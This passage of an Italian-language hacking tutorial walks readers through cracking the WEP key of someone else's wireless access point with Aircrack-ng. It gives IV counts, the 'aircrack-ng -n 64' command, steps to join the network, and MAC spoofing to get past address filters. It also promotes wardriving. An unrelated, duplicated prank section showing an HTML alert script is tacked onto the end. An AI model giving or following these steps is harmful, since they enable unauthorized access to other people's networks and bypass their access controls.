Nella seconda parte dell’immagine sopra vediamo i vari client che stanno “dialogando” con l’Access Point”, più esattamente vediamo i vari indirizzi MAC dei client. Quest’informazione può risultare utile in seguito quindi annotatevi gli indirizzi MAC. Questo perché in un Access Point è possibile impostare un filtro di indirizzi MAC: in questo modo soltanto le schede di rete che hanno un indirizzo MAC riportato nel filtro potranno collegarsi. Ciò significa che anche se possediamo la chiave WEP non possiamo accedere all’Access Point a meno che l’indirizzo MAC del nostro adattatore di rete non sia stato impostato nel filtro dell’Access Point. Ad ogni modo un caso simile sarà trattato dopo, per il momento non preoccupiamocene.
Aicrack continuerà a collezionare IV finché non lo fermate. Più IV scaricate e più probabilità avete di decifrare la chiave. Non c’è un riferimento esatto del tipo “lunghezza chiave = tot numero di IV da scaricare”. In linea generale prendete per buono che per trovare una chiave WEP da 40 bit potete scaricare dai 250.000 ai 400.000 IV: Aircrack dovrebbe trovare la chiave in pochi secondi. Ad ogni modo vi conviene cominciare con pochi IV infatti, se questi non bastano ad Aircrack per trovarela chiave WEP, non dovrete ricominciare tutto da zero: basterà che quando vi verrà chiesto il nome che volete dare al file inseriate lo stesso nome che avevate già utilizzato in precedenza (in tal modo il file non verrà sovrascritto ma verrà invece “continuato”, cioè incrementato). Per una chiave da 104 bit collezionate circa 2.000.000 di IV: a volte ne bastano molti meno (anche se il programma impiegherà più tempo per trovare la chiave), altre volte purtroppo dovrete scaricarne di più…
Quando sarete soddisfatti del numero di IV collezionati premete “CTRL + C” per fermare il programma.
Scrivendo “Aircrack-ng” nel prompt vi verrà mostrata la lista dei parametri che è possibile utilizzare. Supponiamo di aver scaricato intorno ai 400.000 IV, in genere sufficienti per scovare una chiave WEP da 40 bit. Digitiamo allora il comando “aircrack-ng -n 64 WEP1.ivs”. Con il parametro “-n 64” diciamo al programma che la chiave ha una lunghezza massima di 64 bit e di non provare quindi oltre (anche perché, come già ricordato, non abbiamo ancora scaricato abbastanza IV per lunghezze di chiave maggiori). Il parametro “-f” che in questo esempio non abbiamo utilizzato serve per specificare l’intensità dell’attacco brute-force che di default è a livello 2: volendo potete specificare un livello maggiore, ad esempio 5.
Da notare anche l’estensione del file (WEP1.ivs): sarà *.ivs se avevate deciso di salvare soltanto gli IV, sarà *.cap se avevate deciso di salvare gli interi pacchetti catturati.
Se avrete fortuna il programma vi restituirà un messaggio di “KEY FOUND” seguito dal nome della chiave.
Ora che avete la chiave utilizzatela proprio come se doveste connettervi ad una vostra rete “domestica”. Se l’SSID dell’Access Point è abilitato seguite questa spiegazione; in caso contrario vi rimando all’ultimo paragrafo di questa guida.
Start, Connetti a, Connessioni di rete senza fili, Visualizza reti senza fili disponibili. Se l’SSID è abilitato (è visibile), questo vi appare nella finestra delle connessioni disponibili (e in genere potete anche vedere se utilizza il WPA o meno come sistema di cifratura). Fate doppio clic sull’icona della connessione ed inserite la password che avete trovato in precedenza: è fatta. Se non riuscite a collegarvi la causa può essere:
1) L’access Point utilizza un filtro per indirizzi MAC
2) Siete troppo lontani dall’Access Point
3) La chiave che avete trovato è errata
1) L’AP utilizza un filtro per indirizzi MAC. In precedenza vi era stato detto di annotarvi gli indirizzi MAC che stavano dialogando con l’AP. Ora la cosa più semplice da fare è:- Aspettare che uno degli indirizzi MAC annotati in precedenza si scolleghi- Cambiare il nostro indirizzo MAC in modo da renderlo uguale a quello che si è appena scollegato (MAC Spoofing)- Entrare nell’Access Point .
2) Siete troppo lontani dall’Access Point. Bisogno di spiegazioni??? Avvicinatevi…
3) La chiave che avete trovato è errata. O meglio… è possibile che sia corretta: assicuratevi di averla scritta in modo giusto. In particolar modo assicuratevi di non aver scritto eventuali zeri (“0”) come delle “O” in quanto non ci possono essere delle “O”!
Se l’SSID dell’Access Point è disabilitato nessun problema. Voi conoscete già qual è, vi è stato rivelato da Aircrack: vedi immagine sopra, ESSID. Quello che dovete fare è semplicemente inserire l’SSID trovato nelle impostazioni di connessione.Start, Connetti a, Connessioni di rete senza fili, Visualizza reti senza fili disponibili, Modifica impostazioni avanzate, Reti senza fili, Aggiungi: scrivete l’SSID così come lo ha trovato Aircrack, l’autenticazione alla rete è normalmente APERTA > scegliere la cifratura WEP, togliere il segno di spunta dalla voce “la chiave sarà fornita automaticamente” ed inserire invece la chiave WEP che avete trovato grazie ad Aircrack (nota: inserite la chiave tutta di seguito, senza i due punti (“:”) di separazione).
P.S. Per maggiori info visitate TAZ Forum.P.P.S. Se ci prendete gusto col wardriving allora visitate anche il sito http://www.wardriving.com/ dove, tra le varie cose, troverete anche un vasto elenco di molti programmi utilizzabili per questo scopo
Creare Piccolo Script in HTML
Aprire il blocco note e scrivere il seguente codice <script>alert ("........")</script> al posto dei puntini potete scrivere ciò che volete.Es: <script>alert ("il tuo pc verrà formattato")</script>
una volta che avete finito andate su "salva con nome" il nome potete sceglierlo ma è importante che alla fine del nome mettiate .html ora fate ok e avrete così creato il vostro piccolo script in formato html ora se lo aprite si aprirà una pagina web vuota con un messaggio di errore,il messaggio di errore non è altro che quello che avete scritto voi nella parentesi tra le virgolette...questo guida non serve a molto solo a fare scherzi ad amici,perchè ammettiamolo a chi nn va di stupire gli amici XD
una volta che avete finito andate su "salva con nome" il nome potete sceglierlo ma è importante che alla fine del nome mettiate .html ora fate ok e avrete così creato il vostro piccolo script in formato html ora se lo aprite si aprirà una pagina web vuota con un messaggio di errore,il messaggio di errore non è altro che quello che avete scritto voi nella parentesi tra le virgolette...questo guida non serve a molto solo a fare scherzi ad amici,perchè ammettiamolo a chi nn va di stupire gli amici XD
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